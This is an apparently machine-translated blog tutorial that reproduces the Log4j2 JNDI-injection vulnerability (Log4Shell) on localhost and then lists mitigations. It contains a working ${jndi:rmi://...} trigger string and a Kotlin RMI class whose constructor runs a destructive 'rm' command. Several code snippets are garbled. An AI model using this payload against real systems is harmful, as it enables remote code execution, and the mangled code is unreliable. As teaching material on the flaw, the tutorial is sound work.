A nuclear bomb is a nuclear bomb

It could also be this ↓

But in December 2021, it could look like this

One of the most talked about issues in December was the Log4j2 nuke-level vulnerability.

Schadenfreude people are using Logback. Survivors say **** ****. A person with a stream of beer has JNDI anti-injection.

There may be some people, there may be a question mark in their head, they don’t know what the leak is why it’s a nuclear bomb how to trigger it and how to get around it

Well, I’m one of those people who have question marks all over my head, so I’ve actually recreated them and let’s see how to drop a nuclear bomb.

Before we get down to it, let’s take a look at two concepts, Log4j2 Lookups and JNDI.

Log4j2 Lookups

Lookups can be understood as a specific type of plug-in that implements the StrLookup interface and is able to write specified data at specific locations within a Log4j configuration.

How do you recognize the need for the plug-in to parse and write data? When something in the specified format is encountered (typically ${XXX}), a judgment is made.

For example, the plugin includes JavaLookup, which enables the injection of Java environment information,

<File name="Application" fileName="application.log">
  <PatternLayout header="${java:runtime} - ${java:vm} - ${java:os}">
    <Pattern>%d %m%n</Pattern>
  </PatternLayout>
</File>
Copy the code

In this way, the output log header contains the current Java Runtime, VM, and OS environment information.

There are also a number of official Lookups available,

Each Lookup has different functions. For details, see the official instructions. (Log4j — Log4j 2 Lookups)

So why does what looks like an extended module acting on a configuration file cause such a big problem?

The key is in one of these extensions, JndiLookup.

JNDI

Java Naming and Directory Interface (JNDI) is a standard Java command system Interface provided by SUN. Service providers can provide services externally with specific names and directories through THE JNDI API mapping. Service users can use the service address and service name. Existing directories and services accessible to JNDI include DNS, LDAP, RMI, and so on.

JNDI is divided into three main layers:

The module instructions
JNDI API An upper-level API for communicating with JAVA applications
Naming Manager Naming management services to centrally manage services provided by lower-level service providers
JNDI SPI Service provisioning interfaces, which are implemented by specific service providers, such as RMI, LDAP, etc

Using JNDI, you can provide services to upper-layer applications. Using RMI as an example, see the following example:

RemoteApiInterface.java public interface RemoteApiInterface extends Remote { public String execCommand(String command) throws RemoteException; } RemoteApi.kt class RemoteApi: RemoteApiInterface, ObjectFactory { override fun execCommand(): String { return "success" } override fun getObjectInstance(obj: Any? , name: Name? , nameCtx: Context? , environment: Hashtable<*, *>?) : Any? {return null}} rmiserver. kt // Create a service center, . At the same time listen on port 1099 val registry = LocateRegistry createRegistry (1099) / / build object references and wrapping val reference = reference (" RemoteApi." "Priv. Test. Log4j2. RemoteApi", null) val wrapper = ReferenceWrapper (reference) / / bundle object reference service center, Call it remote registry. Bind ("remote", Wrapper) RMIClient. Kt / / access to remote service center val registry. = LocateRegistry getRegistry (" 127.0.0.1 ", Val remote = registry. Lookup ("remote") as RemoteApiInterface Println (remote.execcommand ())Copy the code

The whole process is simple,

  1. The service provider builds a remote service that wraps a reference object
  2. Expose the remote service through the service center and name it remote
  3. The client obtains the service center, searches for and obtains the service named Remote
  4. Invoke the execCommand method of the remote service
  5. Final output success

So why is JDNI involved in this bug? Before you worry, let’s look at another thing, JNDI injection

JNDI injection

It seems that JNDI just defines a standard set of interfaces that service providers can provide to the outside world, but there are security risks in the process.

In BlackHat 2016, Pentester talked about A Journey From JNDI LDAP Manipulation To RCE, which introduced Java To load remote code using the JNDI protocol for dynamic transformation injection. To achieve RCE method.

To perform an injection attack, the following conditions must be met:

  1. In a JNDI calllookup()Parameters of the controlled
  2. Use a URI with a protocol for dynamic protocol conversion
  3. When the client obtains and initializes the remote service instance, the attack is triggered

For example, rmiclient.kt, which we modified slightly,

Val inputScanner = Scanner(System. 'in') val userInput = inputscanner.next () // userInput triggers lookup to find the remote service val initialContext = InitialContext() initialContext.lookup(userInput)Copy the code

This satisfies the first, and the lookup() argument is up to the user. At the same time, the business logic method can be triggered by URI with agreement contained in the remote service query, in this case, we input the rmi: / / 127.0.0.1:1099 / remote, will be RemoteApi information service suppliers to the local customer end, and build a service instance.

At this point, you might wonder, how do you trigger an attack if you just get the service instance and initialize it without making a method call?

This goes back to the process of loading a Java class for the first time. In addition to loading the basic class information, static variables, code blocks in the class are initialized, and then normal variables are initialized and constructors are called.

See, the key is static code blocks and constructors, which are called the first time a class is loaded and instantiated.

We’ll modify remoteapi.kt slightly,

RemoteApi.kt class RemoteApi: RemoteApiInterface, ObjectFactory { constructor() { Runtime.getRuntime().exec("rm /Users/mmq/Temporary/data") } override fun execCommand(): String { return "success" } override fun getObjectInstance(obj: Any? , name: Name? , nameCtx: Context? , environment: Hashtable<*, *>?) : Any? { return null } }Copy the code

In the constructor, we execute the command rm through the Java Application Runtime. The following figure shows the result before and after execution.

The data file exists before execution and is deleted after execution.

As you can see, once JNDI injection is successful, the consequences can be dire, with almost any operation performed on the victim machine.

Log4j2 loopholes

Although JNDI injection can do this, I cannot convert and resolve the injected JNDI URIs unless I myself introduce JNDILookups in the log configuration file, right?

So where exactly is the button that triggers the nuke? Simply print a log.

Let’s modify rmiclient.kt, the entire code is as follows:

Logger val Logger = logManager.getLogger () val inputScanner = Scanner(System. 'in') val userInput = Inputscanner.next () // output userInput through logger logger.info(userInput)Copy the code

On the client side, we enter the ${jndi: rmi: / / 127.0.0.1:1099 / remote}, the execution result is illustrated below.

In this example, instead of explicitly looking up the corresponding JNDI RMI service, we simply output a log, which also triggers the attack.

Why is that?

The nuke button

From the above example, why does a simple log output trigger an attack?

In fact, the key action is triggered in Log4j2 log output process. When exporting the Message Body of the log (%m/% MSG), MessagePatternConverter will format the Message and use substitute(…) from StrSubstitutor ResolveVariable (…); resolveVariable(…); resolveVariable(…); resolveVariable(…); Perform variable resolution, where the parser contains JNDILookup.

The complete call stack is as follows:

So, if you find ${… }, the Lookup resolution is performed, and our injected JNDI RMI is triggered to fetch and instantiate the service from the remote service provider, triggering the attack.

How to avoid being attacked

  1. Update Log4j2, which is officially released in 2.15, solves this problem.

(Test 2.15.0 has been fixed, and cVE-2021-44228 is missing from the list of vulnerabilities seen in Maven’s repository) 2. Modify log4j2 configuration, closed MessageLookup, for JAVA projects, can be directly on the launch parameters added – Dlog4j2. FormatMsgNoLookups = true. Disable lookups parsing for log4j2’s Message Body. Firewall, similar to Ali Cloud WAF and other firewalls have anti-injection function. 4. JAVA Agent rewriting, which is also used by the group platform. JNIManager is recognized during class loading and overwritten to avoid JNILookups parsing.

Write in the last

In fact, I did not realize the seriousness of the problem until I repeated this vulnerability, Log4j2 is a fundamental component in the JAVA ecosystem, the impact is also very large. The security issue is not to be underestimated.